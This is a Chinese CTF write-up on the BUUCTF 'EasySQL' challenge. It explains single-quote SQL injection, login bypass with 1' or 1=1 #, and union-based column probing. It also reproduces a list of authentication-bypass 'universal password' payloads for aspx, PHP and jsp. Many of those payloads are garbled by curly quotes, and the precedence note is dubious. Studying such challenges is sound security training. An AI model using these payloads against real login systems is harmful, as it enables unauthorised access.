相关wp:
BUUCTF: [极客大挑战 2019]EasySQL 1_Craven_的博客-优快云博客BUUCTF__[极客大挑战 2019]EasySQL_题解_风过江南乱的博客-优快云博客
由一道题简单引出万能密码的知识点
先看题
题目来源:BUUCTF [极客大挑战 2019] EasySQL 1
尝试1 1' 1"
当输入1和1“时
只有当输入1’时,页面报错
查看报错信息发现是基于单引号的注入
万能密码的原理:
select * from table_name where username='xxxx' and password='xxxx'
这是查询数据库可能会用到的句型
因为这道题是基于sql单引号的注入,我们构造万能密码,#在sql注入中是注释符
用or连接,因为1=1恒真,假或真=真,真或真=真,所以这个语句恒成立
1’ or 1=1 #
嵌入到语句中就是
select * from table_name where username='1' or 1=1 # ' and password='xxxx'
1.万能密码绕过
直接在用户名或者密码区输入
1' or 1=1 #
得到flag
2.联合注入查询
直接输入
1' union select 1,2
1' union select 1,2,3,4
页面皆报错
只有当列名字段数为3时,
输入 1' union select 1,2,3
页面回显出flag
输入
1' union select 1,2,database() #
得到flag
借用Craven_万能密码的其余知识点:
aspx万能密码:
"or “a”="a
‘.).or.(’.a.’=’.a
or 1=1–
'or 1=1–
a’or’ 1=1–
"or 1=1–
'or.‘a.’='a
“or”="a’='a
‘or’’=’
‘or’=‘or’
admin’or 1=1#
PHP万能密码
'or 1=1/*
"or “a”="a
"or 1=1–
“or”="
“or”="a’='a
"or1=1–
“or=or”
'‘or’=‘or’
') or (‘a’='a
‘.).or.(’.a.’=’.a
'or 1=1
'or 1=1–
'or 1=1/*
‘or"="a’='a
‘or’ ‘1’=‘1’
‘or’’=’
‘or’’=’‘or’’=’
‘or’=‘1’
‘or’=‘or’
'or.‘a.’='a
'or1=1–
1’or’1’='1
a’or’ 1=1–
a’or’1=1–
or ‘a’=‘a’
or 1=1–
or1=1–
jsp万能密码
1’or’1’=’1
admin’ OR 1=1/*
万能密码的实验原理:
用户进行用户名和密码验证时,网站需要查询数据库,查询数据库就是执行SQL语句
当用户登录时,后台执行的数据库查询操作(SQL语句)是
【Select user_id,user_type,email From users Where user_id='用户名' And password='密码'】
由于网站后台在进行数据库查询的时候没有对单引号进行过滤,当输入用户名【admin】和万能密码【2' or '1】时,执行的SQL语句为【Select user_id,user_type,email From users Where user_id='admin' And password=' 2' or ' 1' 】
同时,由于SQL语句中逻辑运算符具有优先级,【=】优先于【and】,【and】优先于【or】,且适用传递性
因此,此SQL语句在后台解析时,分成两句【Select user_id,user_type,email From users Where user_id=' admin' And password=' 2' 】和【' 1' 】,两句bool值进行逻辑or运算,恒为TURE,SQL语句的查询结果为TURE,认证成功,看样成功进入到系统中
这里借用無名之涟的理解
=优先于and,优先级:or<and<nor,同一优先级,从左到右计算